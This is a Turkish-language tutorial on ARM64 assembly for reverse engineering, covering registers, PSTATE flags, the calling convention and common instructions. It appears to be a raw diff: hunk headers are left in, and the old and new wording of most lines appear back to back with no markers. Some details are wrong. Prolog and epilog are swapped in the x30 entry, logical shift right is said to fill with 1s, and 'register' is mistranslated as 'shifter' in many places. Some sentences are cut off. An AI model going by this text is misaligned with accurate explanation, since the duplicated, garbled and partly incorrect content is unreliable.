7. **`x29`** - Yığın çerçevesini takip etmek için **çerçeve işaretçisi**. Bir işlev çağrıldığında yeni bir yığın çerçevesi oluşturulduğunda, **`x29`** kaydı yığında **saklanır** ve **yeni** çerçeve işaretçi adresi (**`sp`** adresi) bu kayıtta **saklanır**.
* Bu kayıt genel amaçlı bir kayıt olarak da kullanılabilir, ancak genellikle **yerel değişkenlere referans** olarak kullanılır.
8. **`x30`** veya **`lr`**- **Bağlantı kaydı**. Bir `BL` (Bağlantılı Dal) veya `BLR` (Kayıtlı Bağlantılı Dal) komutu yürütüldüğünde **`pc`** değerini bu kayıtta saklayarak **dönüş adresini** tutar.
* Diğer kayıtlar gibi kullanılabilir.
* Eğer mevcut işlev yeni bir işlevi çağıracak ve dolayısıyla `lr`'yi üzerine yazacaksa, başlangıçta bunu yığında saklar, bu epilog (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> `fp` ve `lr`'yi sakla, alan oluştur ve yeni `fp` al) ve sonunda kurtarır, bu prolog (`ldp x29, x30, [sp], #48; ret` -> `fp` ve `lr`'yi kurtar ve geri dön).
9. **`sp`** - **Yığın işaretçisi**, yığının en üstünü takip etmek için kullanılır.
* **`sp`** değeri her zaman en az bir **quadword hizalamasında** tutulmalıdır aksi takdirde bir hizalama istisnası oluşabilir.
10. **`pc`** - **Program sayacı**, bir sonraki komutu işaret eder. Bu register yalnızca istisna oluşturma, istisna dönüşleri ve dallanmalar aracılığıyla güncellenebilir. Bu registerı okuyabilen tek sıradan komutlar, **`pc`** adresini **`lr`**'ye (Bağlantı Registerı) saklamak için bağlantılı dal komutlarıdır.
11. **`xzr`** - **Sıfır registerı**. 32-bit register formunda **`wzr`** olarak da adlandırılır. Sıfır değerini kolayca almak için (yaygın işlem) veya **`subs`** kullanarak karşılaştırmalar yapmak için kullanılabilir, örneğin **`subs XZR, Xn, #10`** sonucu veriyi hiçbir yere saklamadan (**`xzr`**'ye) saklar.
10. **`pc`** - **Program sayacı**, bir sonraki komutu işaret eder. Bu kayıt yalnızca istisna oluşturma, istisna dönüşü ve dallanmalar aracılığıyla güncellenebilir. Bu kaydı okuyabilen tek sıradan komutlar, **`pc`** adresini **`lr`**'ye (Bağlantı Kaydı) saklamak için dallanma ile bağlantılı komutlardır (BL, BLR).
11. **`xzr`** - **Sıfır kaydı**. 32 bit kayıt formunda **`wzr`** olarak da adlandırılır. Sıfır değerini kolayca almak için kullanılabilir (yaygın işlem) veya **`subs`** kullanarak karşılaştırmalar yapmak için kullanılabilir, örneğin **`subs XZR, Xn, #10`** sonuç verisini hiçbir yere saklamadan (**`xzr`** içinde) saklar.
**`Wn`** registerları, **`Xn`** registerının 32-bit versiyonudur.
**`Wn`** kayıtları, **`Xn`** kaydının **32 bit** sürümüdür.
### SIMD ve Kayan Nokta Registerları
### SIMD ve Kayan Nokta Kayıtları
Ayrıca, optimize edilmiş tek komutla çoklu veri (SIMD) işlemleri ve kayan nokta aritmetiği yapmak için kullanılabilen başka **32 adet 128-bit uzunluğunda register** bulunmaktadır. Bunlar Vn registerları olarak adlandırılır, ancak aynı zamanda **64**-bit, **32**-bit, **16**-bit ve **8**-bit olarak da çalışabilir ve o zaman **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** ve **`Bn`** olarak adlandırılırlar.
Ayrıca, optimize edilmiş tek bir komutla çoklu veri (SIMD) işlemleri ve kayan nokta aritmetiği yapmak için kullanılabilen **32 adet 128 bit uzunluğunda kayıt** bulunmaktadır. Bunlar Vn kayıtları olarak adlandırılır, ancak aynı zamanda **64**-bit, **32**-bit, **16**-bit ve **8**-bit olarak da çalışabilir ve o zaman **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** ve **`Bn`** olarak adlandırılırlar.
### Sistem Kayıtları
**Yüzlerce sistem kaydı** bulunmaktadır, ayrıca özel amaçlı kayıtlar (SPR'ler) olarak da adlandırılan bu kayıtlar, **işlemcilerin** davranışını **izlemek** ve **kontrol etmek** için kullanılır.\
Bu kayıtlar yalnızca özel **`mrs`** ve **`msr`** komutları kullanılarak okunabilir veya ayarlanabilir.
**Yüzlerce sistem kaydı**, ayrıca özel amaçlı kayıtlar (SPR'ler) olarak adlandırılan, **işlemcilerin** davranışını **izleme** ve **kontrol etme** amacıyla kullanılır.\
Bu kayıtlar yalnızca özel **`mrs`** ve **`msr`** komutlarını kullanarak okunabilir veya ayarlanabilir.
Özel kayıtlar **`TPIDR_EL0`** ve **`TPIDDR_EL0`** genellikle tersine mühendislik yapılırken bulunur. `EL0` eki, kaydın hangi istisnadan erişilebileceğini belirtir (bu durumda EL0, normal programların çalıştığı düzeydir).\
Özel kayıtlar **`TPIDR_EL0`** ve **`TPIDDR_EL0`** genellikle tersine mühendislik yapılırken bulunur. `EL0` eki, kaydın hangi istisnai durumdan erişilebileceğini belirtir (bu durumda EL0, normal programların çalıştığı ayrıcalık seviyesidir).\
Genellikle bunlar bellek bölgesinin **iş parçacığı yerel depolama** alanının **taban adresini saklamak** için kullanılır. Genellikle birinci EL0'da çalışan programlar için okunabilir ve yazılabilir, ancak ikincisi EL0'dan okunabilir ve EL1'den yazılabilir (çekirdek gibi).
* `mrs x0, TPIDR_EL0 ; TPIDR_EL0'i x0'a oku`
@ -73,38 +74,38 @@ Genellikle bunlar bellek bölgesinin **iş parçacığı yerel depolama** alanı
### **PSTATE**
**PSTATE**, işlemcinin **işletim sistemi tarafından görülebilen `SPSR_ELx`** özel kaydına seri hale getirilmiş birkaç işlem bileşenini içerir, X tetiklenen istisna **izin seviyesi** olup (bu, istisna sona erdiğinde işlem durumunu kurtarmayı sağlar).\
**PSTATE**, işlemcinin **işletim sistemi tarafından görülebilen** **`SPSR_ELx`** özel kaydına seri hale getirilmiş birkaç işlem bileşenini içerir, X tetiklenen istisna **izin seviyesi** olur (bu, istisna sona erdiğinde işlem durumunu kurtarmayı sağlar).\
Bu erişilebilir alanlar şunlardır:
<figure><img src="../../../.gitbook/assets/image (1196).png" alt=""><figcaption></figcaption></figure>
* **`N`**, **`Z`**, **`C`** ve **`V`** durum bayrakları:
* **`N`**, işlemin negatif bir sonuç verdiğini gösterir
* **`Z`**, işlemin sıfır verdiğini gösterir
* **`C`**, işlemin taşındığını gösterir
* **`V`**, işlemin işaretli bir taşma verdiğini gösterir:
* **`N`**, işlemin negatif bir sonuç verdiğini belirtir
* **`Z`**, işlemin sıfır verdiğini belirtir
* **`C`**, işlemin taşıdığını belirtir
* **`V`**, işlemin işaretli bir taşma verdiğini belirtir:
* İki pozitif sayının toplamı negatif bir sonuç verir.
* İki negatif sayının toplamı pozitif bir sonuç verir.
* Çıkarma işleminde, büyük bir negatif sayıdan daha küçük bir pozitif sayı çıkarıldığında (veya tersi), ve sonuç verilen bit boyutu aralığında temsil edilemiyorsa.
* Çıkarma işleminde, büyük bir negatif sayıdan daha küçük bir pozitif sayı çıkarıldığında (veya tersi durumda) ve sonuç verilen bit boyutu aralığında temsil edilemiyorsa.
* Açıkçası işlemcinin işlemin işaretli olup olmadığını bilmediği için, işlemlerde C ve V'yi kontrol edecek ve taşıma işareti olup olmadığını belirtecektir.
{% hint style="warning" %}
Tüm komutlar bu bayrakları güncellemez. **`CMP`** veya **`TST`** gibi bazıları yapar, ve **`ADDS`** gibi s takısına sahip olanlar da yapar.
Tüm komutlar bu bayrakları güncellemez. **`CMP`** veya **`TST`** gibi bazıları yapar, ve **`ADDS`** gibi s eki olan diğerleri de yapar.
{% endhint %}
* Geçerli **kayıt genişliği (`nRW`)** bayrağı: Bayrak değeri 0 ise, program devam edildiğinde AArch64 yürütme durumunda çalışacaktır.
* Geçerli **İstisna Düzeyi** (**`EL`**): EL0'da çalışan normal bir programın değeri 0 olacaktır
* **Tek adımlama** bayrağı (**`SS`**): Hata ayıklamak için kullanılan tek adımlama bayrağı, SS bayrağını **`SPSR_ELx`** içinde 1 olarak ayarlayarak bir istisna oluşturur. Program bir adım çalışacak ve tek adımlama istisnası oluşturacaktır.
* **Yasadışı istisna** durumu bayrağı (**`IL`**): Bu, ayrıcalıklı bir yazılımın geçersiz bir istisna düzeyi transferi gerçekleştirdiğinde işaretlenir, bu bayrak 1 olarak ayarlanır ve işlemci yasadışı bir durum istisnası oluşturur.
* Mevcut **kayıt genişliği (`nRW`) bayrağı**: Bayrağın değeri 0 ise, program devam edildiğinde AArch64 yürütme durumunda çalışacaktır.
* Mevcut **İstisna Seviyesi** (**`EL`**): EL0'da çalışan normal bir programın değeri 0 olacaktır
* **Tek adımlama** bayrağı (**`SS`**): Hata ayıklama araçları tarafından tek adımlamak için kullanılır, SS bayrağını **`SPSR_ELx`** içinde 1 olarak ayarlayarak bir istisna yoluyla adım adım çalıştırır. Program bir adım atar ve tek adım istisnası oluşturur.
* **Yasadışı istisna** durumu bayrağı (**`IL`**): Ayrıcalıklı bir yazılımın geçersiz bir istisna seviyesi transferi gerçekleştirdiğinde işaretlenir, bu bayrak 1 olarak ayarlanır ve işlemci yasadışı bir durum istisnası oluşturur.
* **`DAIF`** bayrakları: Bu bayraklar ayrıcalıklı bir programın belirli harici istisnaları seçici olarak maskelemesine izin verir.
* **`A`** 1 ise **asenkron hatalar** tetikleneceği anlamına gelir. **`I`** harici donanım **Kesme İsteklerine** (IRQ'ler) yanıt vermek için yapılandırılır ve F **Hızlı Kesme İstekleri** (FIR'ler) ile ilgilidir.
* **Yığın işaretçisi seç** bayrakları (**`SPS`**): EL1 ve üstünde çalışan ayrıcalıklı programlar, kendi yığın işaretçi kaydını ve kullanıcı modelini (örneğin `SP_EL1` ve `EL0` arasında) değiş tokuş yapabilir. Bu değişim, **`SPSel`** özel kaydına yazılarak gerçekleştirilir. Bu EL0'dan yapılamaz.
* **`A`** 1 ise **asenkron hataların** tetikleneceği anlamına gelir. **`I`** harici donanım **Kesme İsteklerine** (IRQ'ler) yanıt vermek için yapılandırılır ve F **Hızlı Kesme İstekleriyle** (FIR'ler) ilgilidir.
* **Yığın işaretçisi seçim** bayrakları (**`SPS`**): EL1 ve üstünde çalışan ayrıcalıklı programlar, kendi yığın işaretçi kayıtlarını ve kullanıcı modelini (örneğin `SP_EL1` ve `EL0` arasında) değiş tokuş yapabilir. Bu değişim, **`SPSel`** özel kaydına yazılarak gerçekleştirilir. Bu EL0'dan yapılamaz.
## **Çağrı Sözleşmesi (ARM64v8)**
ARM64 çağrı sözleşmesi, bir işlevin **ilk sekiz parametrenin** **`x0` ile `x7`** kayıtlarında geçirildiğini belirtir. **Ek** parametreler **yığın** üzerinde geçirilir. **Dönüş** değeri, **`x0`** kaydına geri döndürülür, veya **128 bit uzunluğunda ise** ayrıca **`x1`**'e de. **`x19`** ile **`x30`** ve **`sp`** kayıtları işlev çağrıları arasında **korunmalıdır**.
ARM64 çağrı sözleşmesi, bir işlevin **ilk sekiz parametresinin** **`x0` ile `x7`** kayıtlarında geçirildiğini belirtir. **Ek** parametreler **yığın** üzerinde geçirilir. **Dönüş** değeri, **`x0`** kaydına geri döndürülür, veya **128 bit uzunluğunda ise** ayrıca **`x1`**'e de. **`x19`** ile **`x30`** ve **`sp`** kayıtları işlev çağrıları arasında **korunmalıdır**.
Bir işlevi montajda okurken, **işlev prologu ve epilogunu** arayın. **Prolog** genellikle **çerçeve işaretçisini (`x29`) kaydetmeyi**, yeni bir **çerçeve işaretçisi ayarlamayı** ve **yığın alanı tahsis etmeyi** içerir. **Epilog** genellikle **kaydedilen çerçeve işaretçisini geri yüklemeyi** ve **işlevden dönmeyi** içerir.
Bir işlevi montajda okurken, **işlev giriş ve çıkışını** arayın. **Giriş** genellikle **çerçeve işaretçisini (`x29`) kaydetmeyi**, yeni bir **çerçeve işaretçisi** kurmayı ve bir **yığın alanı tahsis etmeyi** içerir. **Çıkış** genellikle **kaydedilen çerçeve işaretçisini geri yüklemeyi** ve işlevden **dönmeyi** içerir.
### Swift'te Çağrı Sözleşmesi
@ -112,34 +113,34 @@ Swift'in kendi **çağrı sözleşmesi** [burada](https://github.com/apple/swift
## **Ortak Komutlar (ARM64v8)**
ARM64 komutları genellikle `opcode hedef, kaynak1, kaynak2` formatına sahiptir, burada **`opcode`** yapılacak işlemi belirtir (`add`, `sub`, `mov`, vb.), **`hedef`** sonucun depolanacağı hedef kayıt, ve **`kaynak1`** ve **`kaynak2`** kaynak kayıtlarıdır. Hemen kaynak kayıtlarının yerine anlık değerler de kullanılabilir.
ARM64 komutları genellikle **`opcode hedef, kaynak1, kaynak2`** biçimindedir, burada **`opcode`** yapılacak işlemi belirtir (`add`, `sub`, `mov`, vb.), **`hedef`** sonucun depolanacağı hedef kaydı belirtir ve **`kaynak1`** ve **`kaynak2`** kaynak kayıtlarıdır. Hemen kaynak kayıtlarının yerine anlık değerler de kullanılabilir.
* **`mov`**: Bir değeri bir **kaynaktan** başka bir **kayda taşı**
* **`mov`**: Bir değeri bir **kaynaktan** başka bir **kayda taşı**.
* Örnek: `mov x0, x1` — Bu, `x1`'den `x0`'a değeri taşır.
* **`ldr`**: Bir değeri **bellekten** bir **kayda yükle**
* **`ldr`**: Bir değeri **bellekten** bir **kayda yükle**.
* Örnek: `ldr x0, [x1]` — Bu, `x1` tarafından işaret edilen bellek konumundan `x0`'a bir değer yükler.
* **Ofset modu**: Orin işaretçisini etkileyen bir ofset belirtilir, örneğin:
* `ldr x2, [x1, #8]`, bu x1 + 8'den x2'ye değeri yükler
* `ldr x2, [x0, x1, lsl #2]`, bu x0 dizisinden x1 (indeks) \* 4 pozisyonundaki nesneyi x2'ye yükler
* `ldr x2, [x0, x1, lsl #2]`, bu x0 dizisinden x1 (indeks) \* 4 pozisyondaki nesneyi x2'ye yükler
* **Ön-indeks modu**: Bu, hesaplamaları orijine uygular, sonucu alır ve yeni orijini orijine kaydeder.
* `ldr x2, [x1, #8]!`, bu `x1 + 8`'i `x2`'ye yükler ve `x1`'e `x1 + 8`'in sonucunu kaydeder
* `ldr x2, [x1, #8]!`, bu `x1 + 8`'i `x2`'ye yükler ve `x1 + 8`'in sonucunu `x1`'e kaydeder
* `str lr, [sp, #-4]!`, bağlantı kaydını sp'ye kaydeder ve sp kaydını günceller
* **Sonrası-indeks modu**: Bu bir öncekine benzer ancak bellek adresine erişilir ve ardından ofset hesaplanır ve kaydedilir.
* `ldr x0, [x1], #8`, `x1`'i `x0`'a yükler ve x1'i `x1 + 8` ile günceller
* **PC'ye göre adresleme**: Bu durumda yüklenecek adres, PC kaydına göre hesaplanır
* `ldr x1, =_start`, Bu, `_start` sembolünün başladığı adresi x1'e yükler, mevcut PC'ye göre ilişkilendirilir.
* **`str`**: Bir değeri bir **kaynaktan** **belleğe** kaydet
* `ldr x0, [x1], #8`, `x1`'i `x0`'a yükler ve `x1`'i `x1 + 8` ile günceller
* **PC'ye göre adresleme**: Bu durumda yüklenecek adres, mevcut PC kaydına göre hesaplanır
* `ldr x1, =_start`, Bu, `_start` sembolünün başladığı adresi x1'e yükler.
* **`str`**: Bir değeri bir **kaynaktan** **belleğe** **kaydet**.
* Örnek: `str x0, [x1]` — Bu, `x0`'daki değeri `x1` tarafından işaret edilen bellek konumuna kaydeder.
* **`ldp`**: **Çift Kayıt Yükle**. Bu komut **ardışık bellekten iki kaydı yükler**. Bellek adresi genellikle başka bir kayıttaki değere bir ofset ekleyerek oluşturulur.
* Örnek: `ldp x0, x1, [x2]` — Bu, sırasıyla `x2` ve `x2 + 8` bellek konumlarından `x0` ve `x1`'i yükler.
* **`stp`**: **Çift Kayıt Kaydet**. Bu komut **ardışık belleğe iki kaydı kaydeder**. Bellek adresi genellikle başka bir kayıttaki değere bir ofset ekleyerek oluşturulur.
* Örnek: `stp x0, x1, [sp]` — Bu, sırasıyla `sp` ve `sp + 8` bellek konumlarına `x0` ve `x1`'i kaydeder.
* `stp x0, x1, [sp, #16]!` — Bu, sırasıyla `sp+16` ve `sp + 24` bellek konumlarına `x0` ve `x1`'i kaydeder ve `sp`'yi `sp+16` ile günceller.
* **`ldp`**: **Çift Kayıt Yükle**. Bu komut **ardışık bellek** konumlarından iki kaydı yükler. Bellek adresi genellikle başka bir kayırdaki değere bir ofset ekleyerek oluşturulur.
* Örnek: `ldp x0, x1, [x2]` — Bu, sırasıyla `x2` ve `x2 + 8` konumlarındaki bellekten `x0` ve `x1`'i yükler.
* **`stp`**: **Çift Kayıt Sakla**. Bu komut iki kaydı ardışık bellek konumlarına saklar. Bellek adresi genellikle başka bir kayırdaki değere bir ofset ekleyerek oluşturulur.
* Örnek: `stp x0, x1, [sp]` — Bu, sırasıyla `sp` ve `sp + 8` konumlarındaki belleğe `x0` ve `x1`'i saklar.
* `stp x0, x1, [sp, #16]!` — Bu, sırasıyla `sp+16` ve `sp + 24` konumlarındaki belleğe `x0` ve `x1`'i saklar ve `sp`'yi `sp+16` ile günceller.
* **`add`**: İki kaydın değerlerini ekler ve sonucu bir kayda kaydeder.
* Sözdizimi: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX]
* Xn1 -> Hedef
* Xn2 -> Operand 1
* Xn3 | #imm -> Operand 2 (register veya immediate)
* Xn3 | #imm -> Operand 2 (register veya anlık)
* \[shift #N | RRX] -> Bir kaydırma yap veya RRX'i çağır
* Örnek: `add x0, x1, x2` — Bu, `x1` ve `x2` değerlerini toplar ve sonucu `x0`'a kaydeder.
* `add x5, x5, #1, lsl #12` — Bu, 4096'ya eşittir (1'i 12 kez kaydırma) -> 1 0000 0000 0000 0000
@ -153,62 +154,62 @@ ARM64 komutları genellikle `opcode hedef, kaynak1, kaynak2` formatına sahiptir
* **`div`**: Bir kaydırıcının değerini başka bir kaydırıcıya böler ve sonucu bir kaydırıcıda saklar.
* Örnek: `div x0, x1, x2` — Bu, `x1`'deki değeri `x2`'ye böler ve sonucu `x0`'a kaydeder.
* **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**:
* **Mantıksal sola kaydırma**: Diğer bitleri ileriye doğru hareket ettirerek sona 0'lar ekler (n kez 2 ile çarpar)
* **Mantıksal sağa kaydırma**: Diğer bitleri geriye doğru hareket ettirerek başa 1'ler ekler (n kez 2'ye bölünmüş şekilde işaretsiz)
* **Aritmetik sağa kaydırma**: **`lsr`** gibi, ancak en anlamlı bit 1 ise, 1'ler eklenir (işaretli n kez 2'ye bölünmüş şekilde)
* **Mantıksal sola kaydırma**: Diğer bitleri ileriye taşıyarak sona 0'lar ekler (n kez 2 ile çarpar)
* **Mantıksal sağa kaydırma**: Diğer bitleri geriye taşıyarak başa 1'ler ekler (işaretsiz bölmede n kez 2'ye bölme)
* **Aritmetik sağa kaydırma**: **`lsr`** gibi, ancak en anlamlı bit 1 ise, 1'ler eklenir (işaretli bölmede n kez 2'ye bölme)
* **Sağa döndürme**: **`lsr`** gibi, ancak sağdan kaldırılan her şey sola eklenir
* **Uzantılı Sağa Döndürme**: **`ror`** gibi, ancak taşıma bayrağı "en anlamlı bit" olarak kabul edilir. Bu nedenle, taşıma bayrağı 31. bit'e ve kaldırılan bit taşıma bayrağına taşınır.
* **`bfm`**: **Bit Alanı Taşıma**, bu işlemler bir değerden belirli bitleri kopyalar ve bunları belirli pozisyonlara yerleştirir. **`#s`** en sol bit konumunu belirtir ve **`#r`** sağa döndürme miktarını belirtir.
* **`bfm`**: **Bit Alanı Taşıma**, bu işlemler bir değerden bitleri kopyalar ve bunları belirli konumlara yerleştirir. **`#s`** en sol bit konumunu belirtir ve **`#r`** sağa döndürme miktarını belirtir.
* Bit alanı taşıma: `BFM Xd, Xn, #r`
* İşaretli Bit alanı taşıma: `SBFM Xd, Xn, #r, #s`
* İşaretsiz Bit alanı taşıma: `UBFM Xd, Xn, #r, #s`
* **Bit Alanı Çıkarma ve Ekleme:** Bir kaydırıcıdan bir bit alanını kopyalar ve başka bir kaydırıcıya kopyalar.
* **`BFI X1, X2, #3, #4`** X2'den X1'in 3. bitine 4 bit ekler
* **`BFXIL X1, X2, #3, #4`** X2'nin 3. bitinden başlayarak dört biti çıkarır ve bunları X1'e kopyalar
* **`SBFIZ X1, X2, #3, #4`** X2'den 4 bit işareti genişletir ve 3. bit pozisyonundan başlayarak X1'e ekler, sağdaki bitleri sıfırlar
* **`SBFIZ X1, X2, #3, #4`** X2'den 4 bit işareti genişletir ve bunları 3. bit pozisyonundan başlayarak X1'e ekler, sağdaki bitleri sıfırlar
* **`SBFX X1, X2, #3, #4`** X2'den 3. bit başlayarak 4 bit çıkarır, işareti genişletir ve sonucu X1'e yerleştirir
* **`UBFIZ X1, X2, #3, #4`** X2'den 4 bit sıfır genişletir ve 3. bit pozisyonundan başlayarak X1'e ekler, sağdaki bitleri sıfırlar
* **`UBFIZ X1, X2, #3, #4`** X2'den 4 bit sıfır genişletir ve bunları 3. bit pozisyonundan başlayarak X1'e ekler, sağdaki bitleri sıfırlar
* **`UBFX X1, X2, #3, #4`** X2'den 3. bit başlayarak 4 bit çıkarır ve sıfır genişletilmiş sonucu X1'e yerleştirir.
* **X'e İşareti Genişlet**: Bir değerin işaretini genişletir (veya işaretsiz sürümde sadece 0'ları ekler) işlemler yapabilmek için:
* **İşareti Genişlet X'e:** Bir değerin işaretini genişletir (veya işaretsiz sürümde sadece 0'ları ekler) ve işlemler yapabilmek için:
* **`SXTB X1, W2`** Bir baytın işaretini genişletir **W2'den X1'e** (`W2`, `X2`'nin yarısıdır) 64 biti doldurmak için
* **`SXTH X1, W2`** 16 bitlik bir sayının işaretini genişletir **W2'den X1'e** 64 biti doldurmak için
* **`SXTW X1, W2`** Bir baytın işaretini genişletir **W2'den X1'e** 64 biti doldurmak için
* **`UXTB X1, W2`** Bir bayta 0'lar ekler (işaretsiz) **W2'den X1'e** 64 biti doldurmak için
* **`extr`:** Belirtilen **çift kaydırıcıdan** bitleri çıkarır.
* Örnek: `EXTR W3, W2, W1, #3` Bu, **W1+W2'yi birleştirir** ve **W2'nin 3. bitinden W1'in 3. bitine kadar olan kısmı alır** ve W3'e kaydeder.
* **`cmp`**: İki kaydırıcıyı karşılaştırır ve koşul bayraklarını ayarlar. `subs`'nin bir **takma adı** olup hedef kaydırıcıyı sıfır kaydırıcıya ayarlar. `m == n`'yi bilmek için kullanışlıdır.
* **`extr`:** Belirtilen **çift kaydırıcıdan bitleri çıkarır ve birleştirir**.
* Örnek: `EXTR W3, W2, W1, #3` Bu, **W1+W2'yi** birleştirir ve **W2'nin 3. bitinden W1'in 3. bitine kadar olan kısmı alır ve W3'e kaydeder.
* **`cmp`**: İki kaydırıcıyı karşılaştırır ve koşul bayraklarını ayarlar. `subs`'nin bir **takma adıdır** ve hedef kaydırıcıyı sıfır kaydırıcıya ayarlar. `m == n`'yi bilmek için kullanışlıdır.
* Aynı **sözdizimini** destekler
* Örnek: `cmp x0, x1` — Bu, `x0` ve `x1` değerlerini karşılaştırır ve koşul bayraklarını buna göre ayarlar.
* **`cmn`**: **Negatif karşılaştırma** işlemi. Bu durumda, `adds`'nin bir **takma adı** olup aynı sözdizimini destekler. `m == -n`'yi bilmek için kullanışlıdır.
* **`cmn`**: **Negatif karşılaştırma** işlemi. Bu durumda, bir `adds` takma adıdır ve aynı sözdizimini destekler. `m == -n`'yi bilmek için kullanışlıdır.
* **`ccmp`**: Koşullu karşılaştırma, önceki bir karşılaştırmanın doğru olması durumunda gerçekleştirilen ve özellikle nzcv bitlerini belirleyen bir karşılaştırmadır.
* `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> eğer x1 != x2 ve x3 < x4 ise, _func'a atla
* Bu, çünkü **`ccmp`** yalnızca önceki `cmp` bir `NE` ise gerçekleştirilecek, değilse bitler `nzcv` 0 olarak ayarlanacaktır (`blt` karşılaştırmasını karşılamayacaktır).
* Bu, çünkü **`ccmp`** yalnızca **önceki `cmp` bir `NE` ise** gerçekleştirilecek, eğer öyle değilse bitler `nzcv` 0 olarak ayarlanacaktır (`blt` karşılaştırmasını karşılamayacaktır).
* Bu aynı zamanda `ccmn` olarak da kullanılabilir (aynı ancak negatif, `cmp` vs `cmn` gibi).
* **`tst`**: Karşılaştırmanın değerlerinden herhangi ikisinin de 1 olup olmadığını kontrol eder (sonucu herhangi bir yere kaydetmeden ve işlem yapmadan çalışır). Bir kaydırıcıyı bir değerle kontrol etmek ve belirtilen değerde gösterilen kaydırıcının herhangi bir bitinin 1 olup olmadığını kontrol etmek için kullanışlıdır.
* **`tst`**: Karşılaştırmanın değerlerinden herhangi ikisinin de 1 olup olmadığını kontrol eder (sonucu herhangi bir yere kaydetmeden ANDS gibi çalışır). Bir kaydırıcıyı bir değerle kontrol etmek ve belirtilen değerde gösterilen kaydırıcının herhangi bir bitinin 1 olup olmadığını kontrol etmek için kullanışlıdır.
* Örnek: `tst X1, #7` X1'in son 3 bitinden herhangi birinin 1 olup olmadığını kontrol edin
* **`teq`**: Sonucu atmadan XOR işlemi
* **`b`**: Koşulsuz Atlama
* **`teq`**: Sonucu atlayarak XOR işlemi
* **`b`**: Koşulsuz atlama
* Örnek: `b myFunction`
* Bu, dönüş adresiyle bağlantı kaydırıcısını doldurmayacaktır (geri dönmesi gereken alt program çağrıları için uygun değildir)
* **`bl`**: **Bağlantı ile Atlama**, bir **alt programı çağırmak** için kullanılır. Dönüş adresini `x30`'da saklar.
* **`bl`**: Bağlantı ile atla, bir **alt programı çağırmak** için kullanılır. Dönüş adresini `x30`'da saklar.
* Örnek: `bl myFunction` — Bu, `myFunction` fonksiyonunu çağırır ve dönüş adresini `x30`'da saklar.
* Bu, dönüş adresiyle bağlantı kaydırıcısını doldurmayacaktır (geri dönmesi gereken alt program çağrıları için uygun değildir)
* **`blr`**: **Kayıtlı Bağlantı ile Atlama**, hedef **bir kayıtta belirtilen** bir **alt programı çağırmak** için kullanılır. Dönüş adresini `x30`'da saklar. (Bu
* Örnek: `blr x1` — Bu, adresi `x1`inde bulunan fonksiyonu çağırır ve dönüş adresini `x30`'da saklar.
* **`blr`**: Kayıtlı bir hedefte **belirtilen** bir **alt programı çağırmak** için kullanılan Bağlantı ile Kaydır, dönüş adresini `x30`'da saklar. (Bu
* Örnek: `blr x1` — Bu, adresi `x1`eren fonksiyonu çağırır ve dönüş adresini `x30`'da saklar.
* **`ret`**: **Alt programdan dön**, genellikle **`x30`** adresini kullanarak.
* Örnek: `ret` — Bu, mevcut alt programdan `x30` adresindeki dönüş adresini kullanarak döner.
* **`b.<cond>`**: Koşullu atlama
* **`b.eq`**: **Eşitse Atlama**, önceki `cmp` talimatına dayanır.
* Örnek: `b.eq label`Önceki `cmp` talimatında iki eşit değer bulunursa, bu `label`'a atlar.
* **`b.ne`**: **Eşit Değilse Dal**. Bu talimat, koşul bayraklarını kontrol eder (önceki bir karşılaştırma talimatı tarafından ayarlanmıştır) ve karşılaştırılan değerler eşit değilse, bir etikete veya adrese dalış yapar.
* Örnek: `cmp x0, x1` talimatından sonra, `b.ne label` — Eğer `x0` ve `x1` içindeki değerler eşit değilse, bu `label`'e atlar.
* **`cbz`**: **Sıfır ile Karşılaştır ve Dal**. Bu talimat bir kaydı sıfır ile karşılaştırır ve eğer eşitlerse, bir etikete veya adrese dalış yapar.
* **`b.<cond>`**: Koşullu atlamalar
* **`b.eq`**: **Eşitse atla**, önceki `cmp` talimatına dayanarak.
* Örnek: `b.eq label`Eğer önceki `cmp` talimatı iki eşit değer bulursa, bu `label`'a atlar.
* **`b.ne`**: **Eşit Değilse Dal**. Bu komut, koşul bayraklarını kontrol eder (daha önceki bir karşılaştırma komutu tarafından ayarlanmıştır) ve karşılaştırılan değerler eşit değilse, bir etikete veya adrese dalış yapar.
* Örnek: `cmp x0, x1` komutundan sonra, `b.ne label` — Eğer `x0` ve `x1` içindeki değerler eşit değilse, bu `label`'e atlar.
* **`cbz`**: **Sıfıra Karşılaştır ve Dal**. Bu komut bir kaydı sıfır ile karşılaştırır ve eğer eşitlerse, bir etikete veya adrese dalış yapar.
* Örnek: `cbz x0, label` — Eğer `x0` içindeki değer sıfırsa, bu `label`'e atlar.
* **`cbnz`**: **Sıfır Olmayan ile Karşılaştır ve Dal**. Bu talimat bir kaydı sıfır ile karşılaştırır ve eğer eşit değillerse, bir etikete veya adrese dalış yapar.
* **`cbnz`**: **Sıfır Olmayanı Karşılaştır ve Dal**. Bu komut bir kaydı sıfır ile karşılaştırır ve eğer eşit değillerse, bir etikete veya adrese dalış yapar.
* Örnek: `cbnz x0, label` — Eğer `x0` içindeki değer sıfır olmayan bir değerse, bu `label`'e atlar.
* **`tbnz`**: Biti Test Et ve Sıfır Olmayan Durumda Dal
* **`tbnz`**: Biti test et ve sıfır olmayan durumda dal
* Örnek: `tbnz x0, #8, label`
* **`tbz`**: Biti Test Et ve Sıfır Durumda Dal
* **`tbz`**: Biti test et ve sıfır durumunda dal
* Örnek: `tbz x0, #8, label`
* **Koşullu seçim işlemleri**: Bu işlemler, davranışı koşullu bitlere bağlı olarak değişen işlemlerdir.
* `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Doğruysa, X0 = X1, yanlışsa, X0 = X2
@ -219,14 +220,14 @@ ARM64 komutları genellikle `opcode hedef, kaynak1, kaynak2` formatına sahiptir
* `csneg Xd, Xn, Xm, cond` -> Doğruysa, Xd = Xn, yanlışsa, Xd = - Xm
* `cneg Xd, Xn, cond` -> Doğruysa, Xd = - Xn, yanlışsa, Xd = Xn
* `cset Xd, Xn, Xm, cond` -> Doğruysa, Xd = 1, yanlışsa, Xd = 0
* `csetm Xd, Xn, Xm, cond` -> Doğruysa, Xd = \<tüm 1>, yanlışsa, Xd = 0
* `csetm Xd, Xn, Xm, cond` -> Doğruysa, Xd = \<tüm 1'ler>, yanlışsa, Xd = 0
* **`adrp`**: Bir sembolün **sayfa adresini hesapla** ve bir kayıtta sakla.
